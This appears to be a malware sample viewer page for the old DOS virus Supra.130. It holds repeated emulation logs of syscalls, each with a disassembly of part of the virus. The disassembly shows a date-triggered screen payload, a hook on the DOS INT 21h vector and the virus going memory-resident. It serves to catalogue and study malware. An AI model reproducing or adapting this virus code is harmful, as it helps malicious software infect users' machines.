Sample viewer

vx.netlux.org/Virus.DOS.Supra.130

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:11:53.030681782Z 42 PC: 12a44 | Get date 0x12a44: cmp al, 5
0x12a46: jne 0x12a69
0x12a48: mov ax, 0x13
0x12a4b: int 0x10
0x12a4d: mov bx, 0xa000
0x12a50: mov ds, bx
0x12a52: mov byte ptr [bx], cl
0x12a54: add bx, bx
0x12a56: jae 0x12a5b
0x12a58: xor bl, 0x2d
0x12a5b: loop 0x12a52
0x12a5d: mov ah, 1
0x12a5f: int 0x16
0x12a61: je 0x12a52
0x12a63: mov ax, 3
0x12a66: int 0x10
0x12a68: ret
0x12a69: mov ax, 0x3521
0x12a6c: int 0x21
0x12a6e: mov word ptr [0x182], bx
2018-12-17T23:11:53.034412338Z 53 PC: 12a6e | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T23:11:53.036468084Z 37 PC: 12a7d | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T23:11:53.038112676Z 49 PC: 12a81 | Terminate and stay resident (Return code = '0' | Memory size = '27')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":17335,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:55:30.807014894Z 42 PC: 12a44 | Get date 0x12a44: cmp al, 5
0x12a46: jne 0x12a69
0x12a48: mov ax, 0x13
0x12a4b: int 0x10
0x12a4d: mov bx, 0xa000
0x12a50: mov ds, bx
0x12a52: mov byte ptr [bx], cl
0x12a54: add bx, bx
0x12a56: jae 0x12a5b
0x12a58: xor bl, 0x2d
0x12a5b: loop 0x12a52
0x12a5d: mov ah, 1
0x12a5f: int 0x16
0x12a61: je 0x12a52
0x12a63: mov ax, 3
0x12a66: int 0x10
0x12a68: ret
0x12a69: mov ax, 0x3521
0x12a6c: int 0x21
0x12a6e: mov word ptr [0x182], bx
2018-12-25T12:55:30.809249089Z 53 PC: 12a6e | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:55:30.811091913Z 37 PC: 12a7d | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:55:30.812648704Z 49 PC: 12a81 | Terminate and stay resident (Return code = '0' | Memory size = '27')

{"DateBased":true,"Day":4,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":17335,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:55:31.027067095Z 42 PC: 12a44 | Get date 0x12a44: cmp al, 5
0x12a46: jne 0x12a69
0x12a48: mov ax, 0x13
0x12a4b: int 0x10
0x12a4d: mov bx, 0xa000
0x12a50: mov ds, bx
0x12a52: mov byte ptr [bx], cl
0x12a54: add bx, bx
0x12a56: jae 0x12a5b
0x12a58: xor bl, 0x2d
0x12a5b: loop 0x12a52
0x12a5d: mov ah, 1
0x12a5f: int 0x16
0x12a61: je 0x12a52
0x12a63: mov ax, 3
0x12a66: int 0x10
0x12a68: ret
0x12a69: mov ax, 0x3521
0x12a6c: int 0x21
0x12a6e: mov word ptr [0x182], bx